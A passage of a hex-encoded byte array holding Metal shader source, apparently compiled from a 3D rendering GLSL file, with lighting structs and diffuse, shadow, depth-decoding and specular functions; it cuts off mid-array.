0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x75,0x5f,0x72,0x65,0x73,0x6f,
0x6c,0x75,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x75,0x56,0x69,0x65,0x77,0x50,0x6f,0x73,0x3b,0x0a,0x7d,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,
0x68,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x3b,
0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6c,0x69,0x67,0x68,
0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x70,0x61,0x63,0x6b,0x65,0x64,0x5f,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,
0x67,0x68,0x74,0x32,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,
0x72,0x61,0x64,0x69,0x75,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x70,0x61,0x63,0x6b,
0x65,0x64,0x5f,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x66,0x61,0x6c,0x6c,0x6f,
0x66,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,
0x69,0x67,0x68,0x74,0x32,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,
0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,0x72,0x61,
0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,0x28,
0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x4e,0x6f,
0x72,0x6d,0x61,0x6c,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,
0x31,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,
0x28,0x6c,0x6f,0x63,0x6e,0x32,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x33,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,0x73,
0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,
0x28,0x6c,0x6f,0x63,0x6e,0x35,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,
0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,
0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,
0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,
0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6f,0x72,0x65,
0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,
0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x76,0x69,0x65,0x77,0x5f,
0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,
0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,
0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x26,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x2c,0x20,0x74,
0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x26,0x20,0x61,0x6c,0x62,0x65,0x64,0x6f,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x39,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,
0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x31,
0x39,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,
0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x73,0x75,0x72,0x66,0x61,0x63,0x65,
0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x31,0x39,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,
0x32,0x32,0x33,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x73,0x75,0x72,0x66,0x61,0x63,
0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,
0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x32,0x39,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,
0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,
0x20,0x2d,0x20,0x28,0x5f,0x32,0x31,0x39,0x20,0x2a,0x20,0x5f,0x32,0x32,0x33,0x29,
0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x30,0x33,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x34,0x30,0x20,0x3d,0x20,0x72,0x6f,
0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x20,0x2a,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,
0x65,0x73,0x73,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x30,0x37,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,0x61,0x6c,0x62,
0x65,0x64,0x6f,0x20,0x2a,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,
0x30,0x2e,0x30,0x2c,0x20,0x5f,0x32,0x31,0x39,0x29,0x29,0x20,0x2a,0x20,0x28,0x28,
0x31,0x2e,0x30,0x20,0x2b,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2a,0x20,0x28,0x28,
0x61,0x6c,0x62,0x65,0x64,0x6f,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,
0x20,0x30,0x2e,0x31,0x32,0x39,0x39,0x39,0x39,0x39,0x39,0x35,0x32,0x33,0x31,0x36,
0x32,0x38,0x34,0x31,0x37,0x39,0x36,0x38,0x37,0x35,0x29,0x29,0x20,0x2b,0x20,0x28,
0x30,0x2e,0x35,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,0x20,0x30,0x2e,
0x33,0x33,0x30,0x30,0x30,0x30,0x30,0x31,0x33,0x31,0x31,0x33,0x30,0x32,0x31,0x38,
0x35,0x30,0x35,0x38,0x35,0x39,0x33,0x37,0x35,0x29,0x29,0x29,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x28,0x28,0x30,0x2e,0x34,0x34,0x39,0x39,0x39,0x39,0x39,0x38,0x38,
0x30,0x37,0x39,0x30,0x37,0x31,0x30,0x34,0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x20,
0x2a,0x20,0x5f,0x32,0x34,0x30,0x29,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,
0x2b,0x20,0x30,0x2e,0x30,0x39,0x30,0x30,0x30,0x30,0x30,0x30,0x33,0x35,0x37,0x36,
0x32,0x37,0x38,0x36,0x38,0x36,0x35,0x32,0x33,0x34,0x33,0x37,0x35,0x29,0x29,0x20,
0x2a,0x20,0x5f,0x32,0x32,0x39,0x29,0x20,0x2f,0x20,0x6d,0x69,0x78,0x28,0x31,0x2e,
0x30,0x2c,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,0x5f,0x32,0x31,
0x39,0x2c,0x20,0x5f,0x32,0x32,0x33,0x29,0x2c,0x20,0x73,0x74,0x65,0x70,0x28,0x30,
0x2e,0x30,0x2c,0x20,0x5f,0x32,0x32,0x39,0x29,0x29,0x29,0x29,0x29,0x20,0x2a,0x20,
0x30,0x2e,0x33,0x31,0x38,0x33,0x30,0x39,0x38,0x37,0x33,0x33,0x34,0x32,0x35,0x31,
0x34,0x30,0x33,0x38,0x30,0x38,0x35,0x39,0x33,0x37,0x35,0x3b,0x0a,0x7d,0x0a,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,
0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,
0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,
0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x61,
0x6d,0x62,0x65,0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x74,0x68,
0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,
0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,
0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x31,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,
0x6d,0x61,0x6c,0x2c,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x35,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,
0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,
0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,
0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,
0x74,0x68,0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x26,0x20,0x72,0x67,0x62,0x61,0x29,0x0a,0x7b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x35,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,
0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x72,0x67,0x62,0x61,0x2c,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x28,0x31,0x2e,0x30,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,
0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,
0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x31,0x2e,
0x35,0x33,0x37,0x38,0x37,0x30,0x30,0x34,0x38,0x31,0x39,0x36,0x30,0x35,0x34,0x39,
0x39,0x35,0x30,0x35,0x39,0x39,0x36,0x37,0x30,0x34,0x31,0x30,0x31,0x35,0x36,0x65,
0x2d,0x30,0x35,0x2c,0x20,0x36,0x2e,0x30,0x33,0x30,0x38,0x36,0x32,0x39,0x32,0x30,
0x31,0x36,0x39,0x39,0x36,0x35,0x39,0x34,0x36,0x31,0x31,0x35,0x35,0x35,0x33,0x33,
0x37,0x39,0x30,0x35,0x38,0x38,0x65,0x2d,0x30,0x38,0x29,0x29,0x3b,0x0a,0x7d,0x0a,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x36,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,
0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,
0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,
0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x2c,0x20,0x74,0x68,0x72,0x65,
0x61,0x64,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x26,0x20,0x76,0x5f,0x73,0x68,0x61,
0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,
0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,
0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,
0x6d,0x61,0x70,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,
0x74,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,
0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,
0x72,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x36,0x35,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x31,0x36,0x39,0x20,
0x3d,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x78,
0x79,0x7a,0x20,0x2f,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x5f,0x31,0x37,0x39,0x20,0x3d,0x20,0x28,
0x5f,0x31,0x36,0x39,0x2e,0x78,0x79,0x20,0x2a,0x20,0x30,0x2e,0x35,0x29,0x20,0x2b,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x28,0x30,0x2e,0x35,0x29,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x5f,0x34,0x37,0x36,0x20,0x3d,0x20,
0x5f,0x31,0x37,0x39,0x3b,0x0a,0x20,0x20,0x20,0x20,0x5f,0x34,0x37,0x36,0x2e,0x79,
0x20,0x3d,0x20,0x31,0x2e,0x30,0x20,0x2d,0x20,0x5f,0x31,0x37,0x39,0x2e,0x79,0x3b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,
0x65,0x20,0x31,0x39,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,
0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2e,0x73,0x61,0x6d,
0x70,0x6c,0x65,0x28,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,
0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,0x5f,0x34,0x37,
0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x73,
0x74,0x65,0x70,0x28,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,
0x70,0x61,0x72,0x61,0x6d,0x29,0x2c,0x20,0x5f,0x31,0x36,0x39,0x2e,0x7a,0x20,0x2d,
0x20,0x28,0x30,0x2e,0x35,0x20,0x2a,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x63,0x6c,
0x61,0x6d,0x70,0x28,0x30,0x2e,0x30,0x30,0x34,0x39,0x39,0x39,0x39,0x39,0x39,0x38,
0x38,0x38,0x32,0x34,0x31,0x32,0x39,0x31,0x30,0x34,0x36,0x31,0x34,0x32,0x35,0x37,
0x38,0x31,0x32,0x35,0x20,0x2a,0x20,0x74,0x61,0x6e,0x28,0x61,0x63,0x6f,0x73,0x28,
0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x29,0x29,0x2c,0x20,0x30,0x2e,0x30,
0x2c,0x20,0x30,0x2e,0x30,0x30,0x39,0x39,0x39,0x39,0x39,0x39,0x39,0x37,0x37,0x36,
0x34,0x38,0x32,0x35,0x38,0x32,0x30,0x39,0x32,0x32,0x38,0x35,0x31,0x35,0x36,0x32,
0x35,0x29,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,
0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,
0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,
0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,
0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,
0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x2c,
0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x26,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x2c,0x20,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x26,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x63,0x6f,0x6e,
0x73,0x74,0x61,0x6e,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,
0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x0a,0x7b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x31,0x35,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x28,0x28,0x38,0x2e,0x30,0x20,0x2b,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,
0x61,0x74,0x5f,0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x29,0x20,0x2a,0x20,
0x30,0x2e,0x30,0x33,0x39,0x37,0x38,0x38,0x37,0x33,0x34,0x31,0x36,0x37,0x38,0x31,
